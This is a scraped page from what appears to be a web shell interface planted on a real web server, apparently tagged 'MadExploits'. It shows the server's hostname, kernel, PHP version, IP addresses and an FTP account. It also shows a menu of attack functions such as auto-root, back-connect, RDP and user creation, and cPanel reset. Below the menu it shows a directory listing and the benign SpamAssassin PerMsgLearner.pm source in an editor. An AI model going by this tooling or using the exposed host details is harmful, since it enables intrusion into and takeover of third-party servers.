Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Mail /
SpamAssassin /
[ HOME SHELL ]
Name
Size
Permission
Action
Bayes
[ DIR ]
drwxr-xr-x
BayesStore
[ DIR ]
drwxr-xr-x
Conf
[ DIR ]
drwxr-xr-x
Locker
[ DIR ]
drwxr-xr-x
Logger
[ DIR ]
drwxr-xr-x
Message
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
AICache.pm
5.6
KB
-r--r--r--
ArchiveIterator.pm
34.08
KB
-r--r--r--
AsyncLoop.pm
23.56
KB
-r--r--r--
AutoWhitelist.pm
9.85
KB
-r--r--r--
Bayes.pm
4.82
KB
-r--r--r--
BayesStore.pm
22.97
KB
-r--r--r--
Client.pm
13.37
KB
-r--r--r--
Conf.pm
166.61
KB
-r--r--r--
Constants.pm
13.84
KB
-r--r--r--
DBBasedAddrList.pm
5.2
KB
-r--r--r--
Dns.pm
21.81
KB
-r--r--r--
DnsResolver.pm
33.82
KB
-r--r--r--
HTML.pm
34.26
KB
-r--r--r--
Locales.pm
4.08
KB
-r--r--r--
Locker.pm
2.11
KB
-r--r--r--
Logger.pm
11.13
KB
-r--r--r--
MailingList.pm
5.13
KB
-r--r--r--
Message.pm
43.48
KB
-r--r--r--
NetSet.pm
10.48
KB
-r--r--r--
PerMsgLearner.pm
4.91
KB
-r--r--r--
PerMsgStatus.pm
107.11
KB
-r--r--r--
PersistentAddrList.pm
4.27
KB
-r--r--r--
Plugin.pm
30.88
KB
-r--r--r--
PluginHandler.pm
7.22
KB
-r--r--r--
RegistryBoundaries.pm
7.81
KB
-r--r--r--
Reporter.pm
3.04
KB
-r--r--r--
SQLBasedAddrList.pm
13.17
KB
-r--r--r--
SpamdForkScaling.pm
27.23
KB
-r--r--r--
SubProcBackChannel.pm
4.45
KB
-r--r--r--
Timeout.pm
10.41
KB
-r--r--r--
Util.pm
65.61
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PerMsgLearner.pm
# <@LICENSE> # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to you under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # </@LICENSE> =head1 NAME Mail::SpamAssassin::PerMsgLearner - per-message status (spam or not-spam) =head1 SYNOPSIS my $spamtest = new Mail::SpamAssassin ({ 'rules_filename' => '/etc/spamassassin.rules', 'userprefs_filename' => $ENV{HOME}.'/.spamassassin/user_prefs' }); my $mail = $spamtest->parse(); my $status = $spamtest->learn($mail,$id,$isspam,$forget); my $didlearn = $status->did_learn(); $status->finish(); =head1 DESCRIPTION The Mail::SpamAssassin C<learn()> method returns an object of this class. This object encapsulates all the per-message state for the learning process. =head1 METHODS =over 4 =cut package Mail::SpamAssassin::PerMsgLearner; use strict; use warnings; # use bytes; use re 'taint'; use Mail::SpamAssassin; use Mail::SpamAssassin::PerMsgStatus; use Mail::SpamAssassin::Bayes; use Mail::SpamAssassin::Logger; our @ISA = qw(); ########################################################################### sub new { my $class = shift; $class = ref($class) || $class; my ($main, $msg) = @_; my $self = { 'main' => $main, 'msg' => $msg, 'learned' => 0, 'master_deadline' => $msg->{master_deadline}, # dflt inherited from msg }; $self->{conf} = $self->{main}->{conf}; $self->{bayes_scanner} = $self->{main}->{bayes_scanner}; bless ($self, $class); $self; } ########################################################################### # $status->learn_spam($id) # # Learn the message as spam. # # C<$id> is an optional message-identification string, used internally # to tag the message. If it is C<undef>, one will be generated. # It should be unique to that message. # # This is a semi-private API; callers should use # C<$spamtest-E<gt>learn($mail,$id,$isspam,$forget)> instead. sub learn_spam { my ($self, $id) = @_; # bug 4096 # if ($self->{main}->{learn_with_whitelist}) { # $self->{main}->add_all_addresses_to_blacklist ($self->{msg}); # } # use the real message-id here instead of mass-check's idea of an "id", # as we may deliver the msg into another mbox format but later need # to forget it's training. $self->{learned} = $self->{bayes_scanner}->learn (1, $self->{msg}, $id); } ########################################################################### # $status->learn_ham($id) # # Learn the message as ham. # # C<$id> is an optional message-identification string, used internally # to tag the message. If it is C<undef>, one will be generated. # It should be unique to that message. # # This is a semi-private API; callers should use # C<$spamtest-E<gt>learn($mail,$id,$isspam,$forget)> instead. sub learn_ham { my ($self, $id) = @_; # bug 4096 # if ($self->{main}->{learn_with_whitelist}) { # $self->{main}->add_all_addresses_to_whitelist ($self->{msg}); # } $self->{learned} = $self->{bayes_scanner}->learn (0, $self->{msg}, $id); } ########################################################################### # $status->forget($id) # # Forget about a previously-learned message. # # C<$id> is an optional message-identification string, used internally # to tag the message. If it is C<undef>, one will be generated. # It should be unique to that message. # # This is a semi-private API; callers should use # C<$spamtest-E<gt>learn($mail,$id,$isspam,$forget)> instead. sub forget { my ($self, $id) = @_; # bug 4096 # if ($self->{main}->{learn_with_whitelist}) { # $self->{main}->remove_all_addresses_from_whitelist ($self->{msg}); # } $self->{learned} = $self->{bayes_scanner}->forget ($self->{msg}, $id); } ########################################################################### =item $didlearn = $status->did_learn() Returns C<1> if the message was learned from or forgotten successfully. =cut sub did_learn { my ($self) = @_; return ($self->{learned}); } ########################################################################### =item $status->finish() Finish with the object. =cut sub finish { my $self = shift; %{$self} = (); } ########################################################################### 1; __END__ =back =head1 SEE ALSO Mail::SpamAssassin(3) spamassassin(1)
Close